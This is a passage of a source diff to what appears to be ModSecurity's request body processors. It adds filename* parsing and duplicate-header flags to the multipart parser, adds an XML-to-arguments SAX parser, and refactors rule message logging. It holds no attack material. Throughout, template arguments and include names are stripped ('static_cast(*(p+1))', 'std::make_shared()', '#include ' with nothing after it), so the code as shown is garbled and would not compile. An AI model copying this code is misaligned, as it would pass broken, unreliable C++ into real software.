m_mpp->m_filename_charsetOffset = offset + ((p - c_d_value) - m_mpp->m_filename_charset.size()); + ms_dbg_a(m_transaction, 4, + "Multipart: Content-Disposition filename* charset: " \ + + m_mpp->m_filename_charset + "."); p++; + /* Read beyond the charset and the optional language*/ + const char* start_of_language = p; while ((*p != '\0') && (*p != '\'')) { p++; } if (*p != '\'') { + m_flag_invalid_quoting = 1; return -17; // Single quote for end-of-language not found } + m_mpp->m_filename_language.assign(start_of_language, (p - start_of_language)); + m_mpp->m_filename_languageOffset = offset + ((p - c_d_value) - m_mpp->m_filename_language.size()); + ms_dbg_a(m_transaction, 4, + "Multipart: Content-Disposition filename* language: " \ + + m_mpp->m_filename_language + "."); p++; /* Now read what should be the actual filename */ const char* start_of_filename = p; while ((*p != '\0') && (*p != ';')) { if (*p == '%') { - if ((*(p+1) == '\0') || (!isxdigit(*(p+1))) || (!isxdigit(*(p+2)))) { + if ((*(p+1) == '\0') || (*(p+2) == '\0') || (!isxdigit(static_cast(*(p+1)))) || (!isxdigit(static_cast(*(p+2))))) { return -18; } p += 3; - } else if (isalnum(*p) || strchr(attr_char_special, *p)) { + } else if (isalnum(static_cast(*p)) || strchr(attr_char_special, *p)) { p++; } else { return -19; @@ -404,7 +430,12 @@ int Multipart::parse_content_disposition(const char *c_d_value, int offset) { value.append((p++), 1); } - p++; /* go over the quote at the end */ + if (*p == quote) { + p++; /* go over the quote at the end */ + } else { + m_flag_invalid_quoting = 1; + return -15; /* closing quote not found */ + } } else { /* not quoted */ @@ -424,6 +455,7 @@ int Multipart::parse_content_disposition(const char *c_d_value, int offset) { offset + ((p - c_d_value) - value.size())); if (!m_mpp->m_name.empty()) { + m_flag_duplicate_part_header = 1; ms_dbg_a(m_transaction, 4, "Multipart: Warning: Duplicate Content-Disposition " \ "name: " + value + ". Previously: " + m_mpp->m_name + ""); @@ -434,31 +466,44 @@ int Multipart::parse_content_disposition(const char *c_d_value, int offset) { ms_dbg_a(m_transaction, 9, "Multipart: Content-Disposition name: " + value + "."); } else if (name == "filename") { - validate_quotes(value.c_str(), quote); - m_transaction->m_variableMultipartFileName.set(value, value, \ - offset + ((p - c_d_value) - value.size())); - + // here we set up the 'm_filename' + // only if it's not set up already (and not the m_filenameStar) if (!m_mpp->m_filename.empty()) { + m_flag_duplicate_part_header = 1; ms_dbg_a(m_transaction, 4, "Multipart: Warning: Duplicate Content-Disposition " \ "filename: " + value + "."); return -15; } - m_mpp->m_filename.assign(value); - m_mpp->m_filenameOffset = offset + ((p - c_d_value) - value.size()); + else { + validate_quotes(value.c_str(), quote); + m_mpp->m_filename.assign(value); + m_mpp->m_filenameOffset = offset + ((p - c_d_value) - value.size()); - ms_dbg_a(m_transaction, 9, - "Multipart: Content-Disposition filename: " + value + "."); + ms_dbg_a(m_transaction, 9, + "Multipart: Content-Disposition filename: " + value + "."); + } } else if (name == "filename*") { - if (!filenameStar.empty()) { + // here we set up the 'm_filenameStar' + // only if it's not set up already (and not the m_filename) + if (!m_mpp->m_filenameStar.empty()) { + m_flag_duplicate_part_header = 1; ms_dbg_a(m_transaction, 4, "Multipart: Warning: Duplicate Content-Disposition " \ "filename*: " + value + "."); - return -20; + return -15; } - filenameStar.assign(value); + + int invalid_count; + std::string decoded_value = value; + utils::urldecode_nonstrict_inplace_ext(decoded_value, false, invalid_count); + if (invalid_count > 0) { + m_flag_invalid_part = 1; + } + m_mpp->m_filenameStar.assign(decoded_value); + m_mpp->m_filenameStarOffset = offset + ((p - c_d_value) - value.size()); ms_dbg_a(m_transaction, 9, - "Multipart: Content-Disposition filename*: " + value + "."); + "Multipart: Content-Disposition filename*: " + decoded_value + "."); } else { return -11; } @@ -491,11 +536,23 @@ int Multipart::parse_content_disposition(const char *c_d_value, int offset) { /* loop will stop when (*p == '\0') */ } - if (!filenameStar.empty() && m_mpp->m_filename.empty()) { - ms_dbg_a(m_transaction, 4, - "Multipart: Warning: no filename= but filename*:" \ - + filenameStar + "."); - return -21; + // filename* takes precedence over filename, so we set the variable accordingly + if (!m_mpp->m_filenameStar.empty()) { + m_transaction->m_variableMultipartFileName.set(m_mpp->m_name, m_mpp->m_filenameStar, \ + m_mpp->m_filenameStarOffset); + + if (!m_mpp->m_filename_charset.empty()) { + m_transaction->m_variableMultipartFileNameCharset.set(m_mpp->m_name, m_mpp->m_filename_charset, \ + m_mpp->m_filename_charsetOffset); + } + if (!m_mpp->m_filename_language.empty()) { + m_transaction->m_variableMultipartFileNameLanguage.set(m_mpp->m_name, m_mpp->m_filename_language, \ + m_mpp->m_filename_languageOffset); + } + } + else if (!m_mpp->m_filename.empty()) { + m_transaction->m_variableMultipartFileName.set(m_mpp->m_name, m_mpp->m_filename, \ + m_mpp->m_filenameOffset); } return 1; @@ -569,7 +626,7 @@ int Multipart::process_part_data(std::string *error, size_t offset) { m_mpp->m_tmp_file->Open(); /* do we have an opened file? */ - if (!m_mpp->m_tmp_file || m_mpp->m_tmp_file->getFd() < 0) { + if (m_mpp->m_tmp_file->getFd() < 0) { ms_dbg_a(m_transaction, 1, "Multipart: Failed to create file: " \ + m_mpp->m_tmp_file->getFilename()); @@ -658,7 +715,7 @@ int Multipart::process_part_data(std::string *error, size_t offset) { if (m_reserve[0] != 0) { d.assign(&(m_reserve[1]), m_reserve[0]); - d.assign(m_buf, MULTIPART_BUF_SIZE - m_bufleft); + d.append(m_buf, MULTIPART_BUF_SIZE - m_bufleft); m_mpp->m_length += d.size(); } else { @@ -780,12 +837,14 @@ int Multipart::process_part_header(std::string *error, int offset) { return false; } - if (!m_mpp->m_filename.empty()) { + if (!m_mpp->m_filename.empty() || !m_mpp->m_filenameStar.empty()) { /* Some parsers use crude methods to extract the name and filename * values from the C-D header. We need to check for the case where they * didn't understand C-D but we did. + * + * also we need to check if any of the filename or filename* is present */ - if (strstr(header_value.c_str(), "filename=") == NULL) { + if (strstr(header_value.c_str(), "filename=") == NULL && strstr(header_value.c_str(), "filename*=") == NULL) { ms_dbg_a(m_transaction, 1, "Multipart: Invalid Content-Disposition " \ "header (filename)."); @@ -844,7 +903,7 @@ int Multipart::process_part_header(std::string *error, int offset) { } new_value = std::string(data); - utils::string::chomp(&new_value); + utils::string::chomp(new_value); /* update the header value in the table */ header_value = m_mpp->m_headers.at( @@ -905,6 +964,16 @@ int Multipart::process_part_header(std::string *error, int offset) { return false; } + /* check if multipart header contains any invalid characters */ + // replaced the following code with std::any_of to avoid issues with signed char + // and to avoid cppcheck warning: + if (std::any_of(header_name.begin(), header_name.end(), [](unsigned char ch) { return ch < 33 || ch > 126; })) { + ms_dbg_a(m_transaction, 1, + "Multipart: Invalid part header (contains invalid character)."); + error->assign("Multipart: Invalid part header (contains invalid character)."); + return false; + } + /* extract the value value */ data++; i++; @@ -913,14 +982,14 @@ int Multipart::process_part_header(std::string *error, int offset) { i++; } header_value = std::string(data); - utils::string::chomp(&header_value); + utils::string::chomp(header_value); /* error if the name already exists */ if (m_mpp->m_headers.count(header_name) > 0) { + m_flag_duplicate_part_header = 1; ms_dbg_a(m_transaction, 1, "Multipart: Duplicate part header: " \ + header_name + "."); - return false; } @@ -976,11 +1045,13 @@ int Multipart::process_boundary(int last_part) { /* add the part to the list of parts */ m_parts.push_back(m_mpp); + // see the inline condition + // filename* takes precedence over filename, so we set the variable accordingly if (m_mpp->m_type == MULTIPART_FILE) { ms_dbg_a(m_transaction, 9, "Multipart: Added file part to the list: name \"" \ + m_mpp->m_name + "\" " - "file name \"" + m_mpp->m_filename + "\" (offset " \ + "file name \"" + (!m_mpp->m_filenameStar.empty() ? m_mpp->m_filenameStar : m_mpp->m_filename) + "\" (offset " \ + std::to_string(m_mpp->m_offset) + ", length " + std::to_string(m_mpp->m_length) + ")"); } else { @@ -1045,6 +1116,14 @@ int Multipart::multipart_complete(std::string *error) { "Multipart: Warning: seen data after last boundary."); } + m_transaction->m_variableMultipartDuplicatePartHeader.set( + std::to_string(m_flag_duplicate_part_header), + m_transaction->m_variableOffset); + if (m_flag_duplicate_part_header) { + ms_dbg_a(m_transaction, 4, + "Multipart: Warning: seen duplicate part header."); + } + m_transaction->m_variableMultipartBoundaryQuoted.set( std::to_string(m_flag_boundary_quoted), m_transaction->m_variableOffset); @@ -1115,10 +1194,10 @@ int Multipart::multipart_complete(std::string *error) { m_transaction->m_variableMultipartStrictError.set( std::to_string(m_flag_error || m_flag_boundary_quoted != 0 || m_flag_boundary_whitespace != 0 || m_flag_data_before != 0 - || m_flag_data_after != 0 || m_flag_header_folding != 0 - || m_flag_lf_line != 0 || m_flag_missing_semicolon != 0 - || m_flag_invalid_quoting != 0 || m_flag_invalid_part != 0 - || m_flag_invalid_header_folding != 0 + || m_flag_data_after != 0 || m_flag_duplicate_part_header != 0 + || m_flag_header_folding != 0 || m_flag_lf_line != 0 + || m_flag_missing_semicolon != 0 || m_flag_invalid_quoting != 0 + || m_flag_invalid_part != 0 || m_flag_invalid_header_folding != 0 || m_flag_file_limit_exceeded != 0), m_transaction->m_variableOffset); @@ -1151,7 +1230,7 @@ int Multipart::multipart_complete(std::string *error) { } m_transaction->m_variableMultipartStrictError.set( std::to_string(m_flag_lf_line) , m_transaction->m_variableOffset); - } + } if ((m_mpp_substate_part_data_read == 0) && (m_flag_invalid_part != 1)) { // it looks like the final boundary, but it's where part data should begin m_flag_invalid_part = 1; @@ -1203,8 +1282,14 @@ int Multipart::multipart_complete(std::string *error) { m->m_tmp_file->getFilename(), m->m_filenameOffset); } - m_transaction->m_variableFiles.set(m->m_name, - m->m_filename, m->m_filenameOffset); + // filename* takes precedence over filename, so we set the variable accordingly + if (!m->m_filenameStar.empty()) { + m_transaction->m_variableFiles.set(m->m_name, + m->m_filenameStar, m->m_filenameStarOffset); + } else if (!m->m_filename.empty()) { + m_transaction->m_variableFiles.set(m->m_name, + m->m_filename, m->m_filenameOffset); + } m_transaction->m_variableFilesNames.set(m->m_name, m->m_name, m->m_nameOffset); @@ -1258,22 +1343,10 @@ int Multipart::multipart_complete(std::string *error) { int Multipart::count_boundary_params(const std::string& str_header_value) { - std::string lower = utils::string::tolower(str_header_value); - const char *header_value = lower.c_str(); - char *duplicate = NULL; - char *s = NULL; int count = 0; - if (header_value == NULL) { - return -1; - } - - duplicate = strdup(header_value); - if (duplicate == NULL) { - return -1; - } - - s = duplicate; + const auto lower = utils::string::tolower(str_header_value); + const char *s = lower.c_str(); while ((s = strstr(s, "boundary")) != NULL) { s += 8; @@ -1282,7 +1355,6 @@ int Multipart::count_boundary_params(const std::string& str_header_value) { } } - free(duplicate); return count; } @@ -1553,7 +1625,7 @@ bool Multipart::process(const std::string& data, std::string *error, m_boundary.size()) == 0)) { if (m_crlf_state_buf_end == 2) { m_flag_lf_line = 1; - } + } if ((m_mpp_substate_part_data_read == 0) && (m_boundary_count > 0)) { /* string matches our boundary, but it's where part data should begin */ m_flag_invalid_part = 1; @@ -1628,7 +1700,7 @@ bool Multipart::process(const std::string& data, std::string *error, } } else { /* It looks like a boundary but */ /* we couldn't match it. */ - char *p = NULL; + const char *p = NULL; /* Check if an attempt to use quotes around the * boundary was made. */ diff --git a/src/request_body_processor/multipart.h b/src/request_body_processor/multipart.h index bfada4b979..e2199c9e81 100644 --- a/src/request_body_processor/multipart.h +++ b/src/request_body_processor/multipart.h @@ -97,7 +97,13 @@ class MultipartPart { m_value_parts(), m_tmp_file_size(), m_filename(""), + m_filenameStar(""), m_filenameOffset(0), + m_filenameStarOffset(0), + m_filename_charset(""), + m_filename_charsetOffset(0), + m_filename_language(""), + m_filename_languageOffset(0), m_last_header_name(""), m_headers(), m_offset(0), @@ -133,7 +139,17 @@ class MultipartPart { /* files only, filename as supplied by the browser */ std::string m_filename; + // Note: Every consumer reading the filename must evaluate m_filenameStar first + // to respect RFC precedence rules before falling back to m_filename. + std::string m_filenameStar; // need to keep track of this for filename* parsing size_t m_filenameOffset; + size_t m_filenameStarOffset; + + std::string m_filename_charset; + size_t m_filename_charsetOffset; + + std::string m_filename_language; + size_t m_filename_languageOffset; std::string m_last_header_name; std::unordered_map, @@ -150,6 +166,10 @@ class MultipartPart { class Multipart { public: Multipart(const std::string &header, Transaction *transaction); + + Multipart(const Multipart&) = delete; + Multipart& operator=(const Multipart&) = delete; + ~Multipart(); bool init(std::string *err); @@ -232,6 +252,7 @@ class Multipart { int m_flag_error; int m_flag_data_before; int m_flag_data_after; + int m_flag_duplicate_part_header; int m_flag_header_folding; int m_flag_boundary_quoted; int m_flag_lf_line; diff --git a/src/request_body_processor/xml.cc b/src/request_body_processor/xml.cc index 6d8a5ec13b..db3f74d6d1 100644 --- a/src/request_body_processor/xml.cc +++ b/src/request_body_processor/xml.cc @@ -25,11 +25,140 @@ namespace RequestBodyProcessor { #ifdef WITH_LIBXML2 +/* +* NodeData for parsing XML into args +*/ +NodeData::NodeData() { + has_child = false; +} + +NodeData::~NodeData() {}; + +/* +* XMLNodes for parsing XML into args +*/ +XMLNodes::XMLNodes(Transaction *transaction) + : nodes{}, + node_depth(0), + currpath(""), + currval(""), + currval_is_set(false), + m_transaction(transaction), + parsing_ctx_arg(NULL) + {} + +XMLNodes::~XMLNodes() {}; + +/* +* SAX handler for parsing XML into args +*/ +class MSCSAXHandler { + public: + void onStartElement(void * ctx, const xmlChar *localname) { + + std::string name = reinterpret_cast(localname); + + XMLNodes* xml_data = static_cast(ctx); + xml_data->nodes.push_back(std::make_shared()); + xml_data->node_depth++; + // FIXME - later if we want to check the depth of XML tree + /* if (max_depth > 0 && max_depth > xml_data->node_depth) { + std::cout << "Depth of XML tree reached the given maximum value " << xml_data->node_depth << std::endl; + exit(1); + } */ + // if it's not the first (root) item, then append a '.' + // note, the condition should always be true because there is always a pseudo root element: 'xml' + if (xml_data->nodes.size() > 1) { + xml_data->currpath.append("."); + xml_data->nodes[xml_data->nodes.size()-2]->has_child = true; + } + xml_data->currpath.append(name); + // set the current value empty + // this is necessary because if there is any text between the tags (new line, etc) + // it will be added to the current value + xml_data->currval = ""; + xml_data->currval_is_set = false; + } + + void onEndElement(void * ctx, const xmlChar *localname) { + std::string name = reinterpret_cast(localname); + XMLNodes* xml_data = static_cast(ctx); + const std::shared_ptr& nd = xml_data->nodes[xml_data->nodes.size()-1]; + if (nd->has_child == false) { + // check the return value + // if false, then stop parsing + // this means the number of arguments reached the limit + if (xml_data->m_transaction->addArgument("XML", xml_data->currpath, xml_data->currval, 0) == false + && xml_data->parsing_ctx_arg != NULL) { + xmlStopParser(xml_data->parsing_ctx_arg); + } + } + if (xml_data->currpath.length() > 0) { + // set an offset to store whether this is the first item, in order to know whether to remove the '.' + int offset = (xml_data->nodes.size() > 1) ? 1 : 0; + xml_data->currpath.erase(xml_data->currpath.length() - (name.length()+offset)); + } + xml_data->nodes.pop_back(); + xml_data->node_depth--; + xml_data->currval = ""; + xml_data->currval_is_set = false; + } + + void onCharacters(void *ctx, const xmlChar *ch, int len) { + XMLNodes* xml_data = static_cast(ctx); + std::string content(reinterpret_cast(ch), len); + + // libxml2 SAX parser will call this function multiple times + // during the parsing of a single node, if the value has multibyte + // characters, so we need to concatenate the values + if (xml_data->currval_is_set == false) { + xml_data->currval = content; + xml_data->currval_is_set = true; + } else { + xml_data->currval += content; + } + } +}; + +extern "C" { + void MSC_startElement(void *userData, + const xmlChar *name, + const xmlChar *prefix, + const xmlChar *URI, + int nb_namespaces, + const xmlChar **namespaces, + int nb_attributes, + int nb_defaulted, + const xmlChar **attributes) { + + MSCSAXHandler* handler = static_cast(userData); + handler->onStartElement(userData, name); + } + + void MSC_endElement( + void *userData, + const xmlChar *name, + const xmlChar* prefix, + const xmlChar* URI) { + + MSCSAXHandler* handler = static_cast(userData); + handler->onEndElement(userData, name); + } + + void MSC_xmlcharacters(void *userData, const xmlChar *ch, int len) { + MSCSAXHandler* handler = static_cast(userData); + handler->onCharacters(userData, ch, len); + } +} + XML::XML(Transaction *transaction) : m_transaction(transaction) { m_data.doc = NULL; m_data.parsing_ctx = NULL; m_data.sax_handler = NULL; + m_data.xml_error = ""; + m_data.parsing_ctx_arg = NULL; + m_data.xml_parser_state = NULL; } @@ -44,7 +173,6 @@ XML::~XML() { } } - bool XML::init() { //xmlParserInputBufferCreateFilenameFunc entity; if (m_transaction->m_rules->m_secXMLExternalEntity @@ -55,6 +183,28 @@ bool XML::init() { /*entity = */xmlParserInputBufferCreateFilenameDefault( this->unloadExternalEntity); } + if (m_transaction->m_secXMLParseXmlIntoArgs + == RulesSetProperties::TrueConfigXMLParseXmlIntoArgs || + m_transaction->m_secXMLParseXmlIntoArgs + == RulesSetProperties::OnlyArgsConfigXMLParseXmlIntoArgs) { + ms_dbg_a(m_transaction, 9, + "XML: SecParseXmlIntoArgs is set to " \ + + RulesSetProperties::configXMLParseXmlIntoArgsString(static_cast(m_transaction->m_secXMLParseXmlIntoArgs))); + m_data.sax_handler = std::make_unique(); + memset(m_data.sax_handler.get(), 0, sizeof(xmlSAXHandler)); + + m_data.sax_handler->initialized = XML_SAX2_MAGIC; + m_data.sax_handler->startElementNs = &MSC_startElement; + m_data.sax_handler->endElementNs = &MSC_endElement; + m_data.sax_handler->characters = &MSC_xmlcharacters; + + // set the parser state struct + m_data.xml_parser_state = std::make_unique(m_transaction); + m_data.xml_parser_state->node_depth = 0; + m_data.xml_parser_state->currval = ""; + // the XML will contain at least one node, which is the pseudo root node 'xml' + m_data.xml_parser_state->currpath = "xml."; + } return true; } @@ -72,7 +222,7 @@ bool XML::processChunk(const char *buf, unsigned int size, * enable us to pass it the first chunk of data so that * it can attempt to auto-detect the encoding. */ - if (m_data.parsing_ctx == NULL) { + if (m_data.parsing_ctx == NULL && m_data.parsing_ctx_arg == NULL) { /* First invocation. */ ms_dbg_a(m_transaction, 4, "XML: Initialising parser."); @@ -90,27 +240,73 @@ bool XML::processChunk(const char *buf, unsigned int size, */ - m_data.parsing_ctx = xmlCreatePushParserCtxt(NULL, NULL, - buf, size, "body.xml"); - - if (m_data.parsing_ctx == NULL) { - ms_dbg_a(m_transaction, 4, - "XML: Failed to create parsing context."); - error->assign("XML: Failed to create parsing context."); - return false; + if (m_transaction->m_secXMLParseXmlIntoArgs + != RulesSetProperties::OnlyArgsConfigXMLParseXmlIntoArgs) { + m_data.parsing_ctx = xmlCreatePushParserCtxt(NULL, NULL, + buf, size, "body.xml"); + + if (m_data.parsing_ctx == NULL) { + ms_dbg_a(m_transaction, 4, + "XML: Failed to create parsing context."); + error->assign("XML: Failed to create parsing context."); + return false; + } + // disable parser errors being printed to stderr + m_data.parsing_ctx->options |= XML_PARSE_NOWARNING | XML_PARSE_NOERROR; } - xmlSetGenericErrorFunc(m_data.parsing_ctx, null_error); + if (m_transaction->m_secXMLParseXmlIntoArgs + == RulesSetProperties::OnlyArgsConfigXMLParseXmlIntoArgs || + m_transaction->m_secXMLParseXmlIntoArgs + == RulesSetProperties::TrueConfigXMLParseXmlIntoArgs) { + m_data.parsing_ctx_arg = xmlCreatePushParserCtxt( + m_data.sax_handler.get(), + m_data.xml_parser_state.get(), + buf, + size, + NULL); + if (m_data.parsing_ctx_arg == NULL) { + error->assign("XML: Failed to create parsing context for ARGS."); + return false; + } + // disable parser errors being printed to stderr + m_data.parsing_ctx_arg->options |= XML_PARSE_NOWARNING | XML_PARSE_NOERROR; + // the SAX callback (onEndElement) stops parsing through this + // context when SecArgumentsLimit is hit; it must be set here, + // not only in the multi-chunk branch below. + m_data.xml_parser_state->parsing_ctx_arg = m_data.parsing_ctx_arg; + } return true; } /* Not a first invocation. */ - xmlParseChunk(m_data.parsing_ctx, buf, size, 0); - if (m_data.parsing_ctx->wellFormed != 1) { - error->assign("XML: Failed to create parsing context."); - ms_dbg_a(m_transaction, 4, "XML: Failed parsing document."); - return false; + if (m_data.parsing_ctx != NULL && + m_transaction->m_secXMLParseXmlIntoArgs + != RulesSetProperties::OnlyArgsConfigXMLParseXmlIntoArgs) { + xmlParseChunk(m_data.parsing_ctx, buf, size, 0); + m_data.xml_parser_state->parsing_ctx_arg = m_data.parsing_ctx_arg; + if (m_data.parsing_ctx->wellFormed != 1) { + error->assign("XML: Failed to parse document."); + ms_dbg_a(m_transaction, 4, "XML: Failed to parse document."); + return false; + } + } + + if (m_data.parsing_ctx_arg != NULL && + ( + m_transaction->m_secXMLParseXmlIntoArgs + == RulesSetProperties::OnlyArgsConfigXMLParseXmlIntoArgs + || + m_transaction->m_secXMLParseXmlIntoArgs + == RulesSetProperties::TrueConfigXMLParseXmlIntoArgs) + ) { + xmlParseChunk(m_data.parsing_ctx_arg, buf, size, 0); + if (m_data.parsing_ctx_arg->wellFormed != 1) { + error->assign("XML: Failed to parse document for ARGS."); + ms_dbg_a(m_transaction, 4, "XML: Failed to parse document for ARGS."); + return false; + } } return true; @@ -119,24 +315,51 @@ bool XML::processChunk(const char *buf, unsigned int size, bool XML::complete(std::string *error) { /* Only if we have a context, meaning we've done some work. */ - if (m_data.parsing_ctx != NULL) { - /* This is how we signalise the end of parsing to libxml. */ - xmlParseChunk(m_data.parsing_ctx, NULL, 0, 1); - - /* Preserve the results for our reference. */ - m_data.well_formed = m_data.parsing_ctx->wellFormed; - m_data.doc = m_data.parsing_ctx->myDoc; - - /* Clean up everything else. */ - xmlFreeParserCtxt(m_data.parsing_ctx); - m_data.parsing_ctx = NULL; - ms_dbg_a(m_transaction, 4, "XML: Parsing complete (well_formed " \ - + std::to_string(m_data.well_formed) + ")."); - - if (m_data.well_formed != 1) { - error->assign("XML: Failed parsing document."); - ms_dbg_a(m_transaction, 4, "XML: Failed parsing document."); - return false; + if (m_data.parsing_ctx != NULL || m_data.parsing_ctx_arg != NULL) { + if (m_data.parsing_ctx != NULL && + m_transaction->m_secXMLParseXmlIntoArgs + != RulesSetProperties::OnlyArgsConfigXMLParseXmlIntoArgs) { + /* This is how we signal the end of parsing to libxml. */ + xmlParseChunk(m_data.parsing_ctx, NULL, 0, 1); + + /* Preserve the results for our reference. */ + m_data.well_formed = m_data.parsing_ctx->wellFormed; + m_data.doc = m_data.parsing_ctx->myDoc; + + /* Clean up everything else. */ + xmlFreeParserCtxt(m_data.parsing_ctx); + m_data.parsing_ctx = NULL; + ms_dbg_a(m_transaction, 4, "XML: Parsing complete (well_formed " \ + + std::to_string(m_data.well_formed) + ")."); + + if (m_data.well_formed != 1) { + error->assign("XML: Failed to parse document."); + ms_dbg_a(m_transaction, 4, "XML: Failed to parse document."); + return false; + } + } + if (m_data.parsing_ctx_arg != NULL && + ( + m_transaction->m_secXMLParseXmlIntoArgs + == RulesSetProperties::OnlyArgsConfigXMLParseXmlIntoArgs + || + m_transaction->m_secXMLParseXmlIntoArgs + == RulesSetProperties::TrueConfigXMLParseXmlIntoArgs) + ) { + /* This is how we signale the end of parsing to libxml. */ + if (xmlParseChunk(m_data.parsing_ctx_arg, NULL, 0, 1) != 0) { + if (m_data.xml_error != "") { + error->assign(m_data.xml_error); + } + else { + error->assign("XML: Failed to parse document for ARGS."); + } + xmlFreeParserCtxt(m_data.parsing_ctx_arg); + m_data.parsing_ctx_arg = NULL; + return false; + } + xmlFreeParserCtxt(m_data.parsing_ctx_arg); + m_data.parsing_ctx_arg = NULL; } } diff --git a/src/request_body_processor/xml.h b/src/request_body_processor/xml.h index 1d29f62fea..aac1299de1 100644 --- a/src/request_body_processor/xml.h +++ b/src/request_body_processor/xml.h @@ -16,6 +16,7 @@ #ifdef WITH_LIBXML2 #include #include +#include #endif #include @@ -33,12 +34,51 @@ namespace RequestBodyProcessor { #ifdef WITH_LIBXML2 +/* +* NodeData for parsing XML into args +*/ +class NodeData { + public: + explicit NodeData(); + ~NodeData(); + + bool has_child; +}; + +/* +* XMLNodes for parsing XML into args +*/ +class XMLNodes { + public: + std::vector> nodes; + unsigned long int node_depth; + std::string currpath; + std::string currval; + bool currval_is_set; + Transaction *m_transaction; + // need to store context - this is the same as in xml_data + // need to stop parsing if the number of arguments reached the limit + xmlParserCtxtPtr parsing_ctx_arg; + + explicit XMLNodes(Transaction *transaction); + ~XMLNodes(); +}; + struct xml_data { - xmlSAXHandler *sax_handler; + std::unique_ptr sax_handler; xmlParserCtxtPtr parsing_ctx; xmlDocPtr doc; - unsigned int well_formed; + unsigned int well_formed = 0; + + /* error reporting and XML array flag */ + std::string xml_error; + + /* additional parser context for arguments */ + xmlParserCtxtPtr parsing_ctx_arg; + + /* parser state for SAX parser */ + std::unique_ptr xml_parser_state; }; typedef struct xml_data xml_data; @@ -53,10 +93,6 @@ class XML { static xmlParserInputBufferPtr unloadExternalEntity(const char *URI, xmlCharEncoding enc); - static void null_error(void *ctx, const char *msg, ...) { - } - - xml_data m_data; private: diff --git a/src/rule_message.cc b/src/rule_message.cc index 496fe7caab..7c021d17eb 100644 --- a/src/rule_message.cc +++ b/src/rule_message.cc @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -23,55 +23,55 @@ namespace modsecurity { -std::string RuleMessage::_details(const RuleMessage *rm) { +std::string RuleMessage::_details(const RuleMessage &rm) { std::string msg; - msg.append(" [file \"" + std::string(*rm->m_ruleFile.get()) + "\"]"); - msg.append(" [line \"" + std::to_string(rm->m_ruleLine) + "\"]"); - msg.append(" [id \"" + std::to_string(rm->m_ruleId) + "\"]"); - msg.append(" [rev \"" + utils::string::toHexIfNeeded(rm->m_rev, true) + "\"]"); - msg.append(" [msg \"" + rm->m_message + "\"]"); - msg.append(" [data \"" + utils::string::toHexIfNeeded(utils::string::limitTo(200, rm->m_data), true) + "\"]"); + msg.append(" [file \"" + rm.m_rule.getFileName() + "\"]"); + msg.append(" [line \"" + std::to_string(rm.m_rule.getLineNumber()) + "\"]"); + msg.append(" [id \"" + std::to_string(rm.m_rule.m_ruleId) + "\"]"); + msg.append(" [rev \"" + utils::string::toHexIfNeeded(rm.m_rule.m_rev, true) + "\"]"); + msg.append(" [msg \"" + rm.m_message + "\"]"); + msg.append(" [data \"" + utils::string::toHexIfNeeded(utils::string::limitTo(200, rm.m_data), true) + "\"]"); msg.append(" [severity \"" + - std::to_string(rm->m_severity) + "\"]"); - msg.append(" [ver \"" + utils::string::toHexIfNeeded(rm->m_ver, true) + "\"]"); - msg.append(" [maturity \"" + std::to_string(rm->m_maturity) + "\"]"); - msg.append(" [accuracy \"" + std::to_string(rm->m_accuracy) + "\"]"); + std::to_string(rm.m_severity) + "\"]"); + msg.append(" [ver \"" + utils::string::toHexIfNeeded(rm.m_rule.m_ver, true) + "\"]"); + msg.append(" [maturity \"" + std::to_string(rm.m_rule.m_maturity) + "\"]"); + msg.append(" [accuracy \"" + std::to_string(rm.m_rule.m_accuracy) + "\"]"); - for (auto &a : rm->m_tags) { + for (const auto &a : rm.m_tags) { msg.append(" [tag \"" + utils::string::toHexIfNeeded(a, true) + "\"]"); } - msg.append(" [hostname \"" + *rm->m_serverIpAddress.get() \ + msg.append(" [hostname \"" + rm.m_transaction.m_requestHostName \ + "\"]"); - msg.append(" [uri \"" + utils::string::limitTo(200, *rm->m_uriNoQueryStringDecoded.get()) + "\"]"); - msg.append(" [unique_id \"" + *rm->m_id + "\"]"); - msg.append(" [ref \"" + utils::string::limitTo(200, rm->m_reference) + "\"]"); + msg.append(" [uri \"" + utils::string::limitTo(200, rm.m_transaction.m_uri_no_query_string_decoded) + "\"]"); + msg.append(" [unique_id \"" + rm.m_transaction.m_id + "\"]"); + msg.append(" [ref \"" + utils::string::limitTo(200, rm.m_reference) + "\"]"); return msg; } -std::string RuleMessage::_errorLogTail(const RuleMessage *rm) { +std::string RuleMessage::_errorLogTail(const RuleMessage &rm) { std::string msg; - msg.append("[hostname \"" + *rm->m_serverIpAddress.get() + "\"]"); - msg.append(" [uri \"" + utils::string::limitTo(200, *rm->m_uriNoQueryStringDecoded.get()) + "\"]"); - msg.append(" [unique_id \"" + *rm->m_id + "\"]"); + msg.append("[hostname \"" + rm.m_transaction.m_serverIpAddress + "\"]"); + msg.append(" [uri \"" + utils::string::limitTo(200, rm.m_transaction.m_uri_no_query_string_decoded) + "\"]"); + msg.append(" [unique_id \"" + rm.m_transaction.m_id + "\"]"); return msg; } -std::string RuleMessage::log(const RuleMessage *rm, int props, int code) { +std::string RuleMessage::log(const RuleMessage &rm, int props, int code) { std::string msg(""); msg.reserve(2048); if (props & ClientLogMessageInfo) { - msg.append("[client " + std::string(*rm->m_clientIpAddress.get()) + "] "); + msg.append("[client " + rm.m_transaction.m_clientIpAddress + "] "); } - if (rm->m_isDisruptive) { + if (rm.m_isDisruptive) { msg.append("ModSecurity: Access denied with code "); if (code == -1) { msg.append("%d"); @@ -79,12 +79,12 @@ std::string RuleMessage::log(const RuleMessage *rm, int props, int code) { msg.append(std::to_string(code)); } msg.append(" (phase "); - msg.append(std::to_string(rm->m_rule->getPhase() - 1) + "). "); + msg.append(std::to_string(rm.getPhase()) + "). "); } else { msg.append("ModSecurity: Warning. "); } - msg.append(rm->m_match); + msg.append(rm.m_match); msg.append(_details(rm)); if (props & ErrorLogTailLogMessageInfo) { diff --git a/src/rule_script.cc b/src/rule_script.cc index c74497d3fd..ca4e5ae8bc 100644 --- a/src/rule_script.cc +++ b/src/rule_script.cc @@ -23,7 +23,7 @@ bool RuleScript::init(std::string *err) { } bool RuleScript::evaluate(Transaction *trans, - std::shared_ptr ruleMessage) { + RuleMessage &ruleMessage) { ms_dbg_a(trans, 4, " Executing script: " + m_name + "."); diff --git a/src/rule_script.h b/src/rule_script.h index 237ad6ab80..824378e4c8 100644 --- a/src/rule_script.h +++ b/src/rule_script.h @@ -14,6 